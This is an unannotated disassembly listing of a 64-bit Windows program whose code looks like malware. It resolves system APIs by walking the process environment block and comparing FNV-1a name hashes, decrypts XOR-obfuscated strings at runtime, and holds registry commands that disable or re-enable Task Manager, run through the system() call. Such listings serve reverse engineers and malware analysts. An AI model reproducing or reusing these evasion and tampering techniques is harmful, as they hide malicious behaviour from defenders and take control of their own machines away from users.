mov rbx, rdi
nop word [rax + rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14000a037
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x14000a037
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r10]
add rdx, r9
mov ecx, 0x66a10638
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14000a032
nop dword [rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14000a010
cmp ecx, 0xec510296
je 0x14000a175
test r8d, r8d
jne 0x140009ff0
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
je 0x14000a04d
cmp qword [rax + 0x30], 0
jne 0x140009fc0
mov rax, r13
mov qword [0x140021898], rax
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 2]
mov cl, 0x73
call rax
mov rax, qword [0x140021890]
test rax, rax
jne 0x14000a127
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov rbx, rdi
nop dword [rax + rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14000a107
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x14000a107
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r10]
add rdx, r9
mov ecx, 0xd166754a
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14000a102
nop dword [rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14000a0e0
cmp ecx, 0x1e0d0af0
je 0x14000a193
test r8d, r8d
jne 0x14000a0c0
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
je 0x14000a11d
cmp qword [rax + 0x30], 0
jne 0x14000a090
mov rax, r13
mov qword [0x140021890], rax
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 2]
mov cl, 0x12
call rax
jmp 0x14000acc5
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r8*2]
mov eax, dword [rdx + rcx*4]
add rax, r9
jmp 0x140009eb0
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r8*2]
mov eax, dword [rdx + rcx*4]
add rax, r9
jmp 0x140009f80
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r8*2]
mov eax, dword [rdx + rcx*4]
add rax, r9
jmp 0x14000a050
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r8*2]
mov eax, dword [rdx + rcx*4]
add rax, r9
jmp 0x14000a120
movups xmm0, xmmword [str.SQJ_YPXJ3__7FRVXXWYI_L___6E]
movups xmmword [rsp + 0x50], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14000a351
cmp r12d, 2
jl 0x14000a30f
movdqa xmm5, xmmword [0x14001c330]
mov edx, r13d
movdqa xmm4, xmmword [0x14001c380]
movdqa xmm6, xmmword [0x14001c350]
movdqa xmm0, xmmword [0x14001c390]
movdqa xmmword [rbp - 0x50], xmm0
lea rcx, [rsp + 0x54]
mov r8d, dword [rbp - 0x50]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14000a210
jmp 0x14000a351
lea r9, [rsp + 0x50]
mov r8d, r13d
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14000a320
lea rcx, [rsp + 0x50]
mov rax, r15
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x14000a360
lea rcx, [rsp + 0x68]
cmp rsi, 0xf
cmova rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
xor r8d, r8d
mov rdx, rbx
call fcn.140002610
cmp rax, 0xffffffffffffffff
je 0x14000a39d
lea rcx, str.reg_add_HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem__v_DisableTaskMgr__t_REG_DWORD__d_1__f
jmp 0x14000acbf
movsd xmm0, qword [0x14001bdd8]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x14001bde0]
mov dword [rsp + 0x58], eax
movzx eax, word [0x14001bde4]
mov word [rsp + 0x5c], ax
movzx eax, byte [0x14001bde6]
mov byte [rsp + 0x5e], al
mov r8d, r13d
cmp r12d, 2
jl 0x14000a4db
movdqa xmm4, xmmword [0x14001c380]
movdqa xmm2, xmmword [0x14001c330]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001c350]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
mov eax, dword [0x14001c390]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14001bdd8]
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movdqa xmm3, xmmword [0x14001c340]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001c350]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14000a4f0
lea rcx, [rsp + 0x50]
mov rax, r15
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x14000a530
lea rcx, [rsp + 0x68]
cmp rsi, 0xf
cmova rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
xor r8d, r8d
mov rdx, rbx
call fcn.140002610
cmp rax, 0xffffffffffffffff
jne 0x14000acb8
movsd xmm0, qword [str.RVXXWYI_L___6E]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x14001bdf0]
mov dword [rsp + 0x58], eax
movzx eax, word [0x14001bdf4]
mov word [rsp + 0x5c], ax
movzx eax, byte [0x14001bdf6]
mov byte [rsp + 0x5e], al
mov r8d, r13d
cmp r12d, 2
jl 0x14000a6a3
movdqa xmm4, xmmword [0x14001c380]
movdqa xmm2, xmmword [0x14001c330]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001c350]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
mov eax, dword [0x14001c390]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.RVXXWYI_L___6E]
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movdqa xmm3, xmmword [0x14001c340]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001c350]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14000a6b0
lea rcx, [rsp + 0x50]
mov rax, r15
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x14000a6f0
lea rcx, [rsp + 0x68]
cmp rsi, 0xf
cmova rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
xor r8d, r8d
mov rdx, rbx
call fcn.140002610
cmp rax, 0xffffffffffffffff
jne 0x14000acb8
movsd xmm0, qword [0x14001bdf8]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x14001be00]
mov dword [rsp + 0x58], eax
movzx eax, word [0x14001be04]
mov word [rsp + 0x5c], ax
cmp byte [0x14001be05], 0
je 0x14000a8a1
mov r8d, r13d
cmp r12d, 2
jl 0x14000a865
movdqa xmm4, xmmword [0x14001c380]
movdqa xmm2, xmmword [0x14001c330]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001c350]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
mov eax, dword [0x14001c390]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14001bdf8]
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movdqa xmm3, xmmword [0x14001c340]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001c350]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000a870
lea rcx, [rsp + 0x50]
mov rax, r15
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x14000a8b0
lea rcx, [rsp + 0x68]
cmp rsi, 0xf
cmova rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
xor r8d, r8d
mov rdx, rbx
call fcn.140002610
cmp rax, 0xffffffffffffffff
je 0x14000abc6
movsd xmm0, qword [str.UTVYPWXG___0D]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x14001be10]
mov dword [rsp + 0x58], eax
movzx eax, word [0x14001be14]
mov word [rsp + 0x5c], ax
cmp byte [0x14001be15], 0
je 0x14000aa61
mov r8d, r13d
cmp r12d, 2
jl 0x14000aa25
movdqa xmm4, xmmword [0x14001c380]
movdqa xmm2, xmmword [0x14001c330]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001c350]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
mov eax, dword [0x14001c390]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.UTVYPWXG___0D]
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movdqa xmm3, xmmword [0x14001c340]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001c350]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000aa30
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x60], r13
lea rax, [rsp + 0x50]
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000aa80
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x78]
call fcn.140001570
nop
lea r9, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova r9, qword [rbp - 0x78]
lea rcx, [rsp + 0x68]
mov rsi, qword [rsp + 0x68]
mov r14, qword [rbp - 0x80]
cmp r14, 0xf
cmova rcx, rsi
mov rdi, qword [rbp - 0x68]
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov rbx, qword [rsp + 0x78]
mov rdx, rbx
call fcn.140002610
cmp rax, 0xffffffffffffffff
je 0x14000abb3
lea rcx, [rdi + 1]
add rcx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x18], r13
cmp rbx, rcx
jb 0x14000b13d
sub rbx, rcx
mov r8, r15
cmp rbx, 0xffffffffffffffff
cmovb r8, rbx
lea rdx, [rsp + 0x68]
cmp r14, 0xf
cmova rdx, rsi
add rdx, rcx
lea rcx, [rbp - 0x30]
call fcn.140001570
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov rsi, rax
lea rbx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova rbx, qword [rbp - 0x30]
mov dword [rax], r13d
mov r8d, 0xa
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov edi, eax
cmp rbx, qword [rsp + 0x50]
je 0x14000b143
cmp dword [rsi], 0x22
je 0x14000b150
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova rcx, qword [rbp - 0x30]
mov r8, qword [rbp - 0x20]
test r8, r8
jne 0x14000ab98
lea rdx, [0x14001b6ba]
call sub.VCRUNTIME140.dll_memcmp
mov ecx, 0x3e8
test eax, eax
cmove edi, ecx
mov edx, edi
mov rbx, qword [rsp + 0x48]
mov rcx, rbx
call fcn.140004920
nop
lea rcx, [rbp - 0x30]
call fcn.140003170
jmp 0x14000abb8
mov rbx, qword [rsp + 0x48]
lea rcx, [rbp - 0x78]
call fcn.140003170
jmp 0x14000acca
mov rax, qword [0x140021888]
test rax, rax
jne 0x14000ac8c
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov rbx, rdi
nop dword [rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14000ac63
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x14000ac63
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r10 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ecx, 0x45e865bc
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14000ac5e
nop dword [rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14000ac40
cmp ecx, 0xdfffae75
je 0x14000ac9d
test r8d, r8d
jne 0x14000ac20
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
je 0x14000ac79
cmp qword [rax + 0x30], 0
jne 0x14000abf0
mov rax, r13
mov qword [0x140021888], rax
mov rsi, qword [rbp - 0x80]
mov rdi, qword [rsp + 0x68]
lea rcx, [rsp + 0x68]
cmp rsi, 0xf
cmova rcx, rdi
call rax
jmp 0x14000acc5
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r8*2]
mov eax, dword [rdx + rcx*4]
add rax, r9
jmp 0x14000ac7c
lea rcx, str.reg_add_HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem__v_DisableTaskMgr__t_REG_DWORD__d_0__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [rsp + 0x48]
movups xmm0, xmmword [str.TMKVeTIJO3ml4____9x9_]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x14001be28]
movups xmmword [rbp], xmm1
movups xmm0, xmmword [0x14001be38]
movups xmmword [rbp + 0x10], xmm0
movsd xmm0, qword [0x14001be48]
movsd qword [rbp + 0x20], xmm0
movzx eax, word [0x14001be50]
mov word [rbp + 0x28], ax
mov r8d, r13d
cmp r12d, 2
jl 0x14000ae45
movdqa xmm5, xmmword [0x14001c330]
movdqa xmm4, xmmword [0x14001c380]
movdqa xmm6, xmmword [0x14001c350]
movdqa xmm0, xmmword [0x14001c390]
movdqa xmmword [rbp - 0x50], xmm0
lea rcx, [rbp - 0xc]
mov edx, dword [rbp - 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14000ad40
cmp r8d, 0x3a
jge 0x14000ae81
movsxd rax, r8d
lea r9, [rbp - 0x10]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3a
jl 0x14000ae50
lea rax, [rbp - 0x10]
inc r15
cmp byte [rax + r15], 0
jne 0x14000ae85
mov rcx, qword [rbx + 0x18]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, r15
jb 0x14000b11f
lea rax, [rbx + 8]
cmp qword [rbx + 0x20], 0xf
jbe 0x14000aeb8
mov rax, qword [rbx + 8]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r9, [rbp - 0x10]
lea r8, [rbx + 8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x50]
call fcn.140002880
nop
mov rax, qword [0x140021880]
test rax, rax
jne 0x14000afa3
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov rbx, rdi
nop word [rax + rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14000af83
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x14000af83
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r10 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ecx, 0xd5162145
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14000af7e
nop dword [rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14000af60
cmp ecx, 0x5e2f721c
je 0x14000afed
test r8d, r8d
jne 0x14000af40
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
je 0x14000af99
cmp qword [rax + 0x30], 0
jne 0x14000af10
mov rax, r13
mov qword [0x140021880], rax
lea rcx, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova rcx, qword [rbp + 0x50]
call rax
nop
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x14000b00d
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b008
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b008
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r8*2]
mov eax, dword [rdx + rcx*4]
add rax, r9
jmp 0x14000af9c
call fcn.1400194d8
movdqa xmm0, xmmword [0x14001c320]
movdqu xmmword [rbp + 0x60], xmm0
mov byte [rbp + 0x50], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x14000b05d
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b058
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b058
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400194d8
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14000b0ad
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b0a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b0a8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400194d8
mov al, 1
jmp 0x14000b0ed
cmp rdi, 0xf
jbe 0x14000b0eb
lea rdx, [rdi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000b0e3
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b0e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.1400194d8
xor al, al
mov rcx, qword [rbp + 0x160]
xor rcx, rsp
call fcn.140019600
mov rbx, qword [rsp + 0x2d8]
movaps xmm6, xmmword [rsp + 0x270]
add rsp, 0x280
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140004850
nop
call fcn.140004870
nop
call fcn.140004870
nop
call fcn.140004870
int3
call fcn.140004870
nop
call fcn.140004870
nop
lea rcx, str.invalid_stoi_argument
call sub.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const____ptr64_
int3
lea rcx, str.stoi_argument_out_of_range
call sub.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_
int3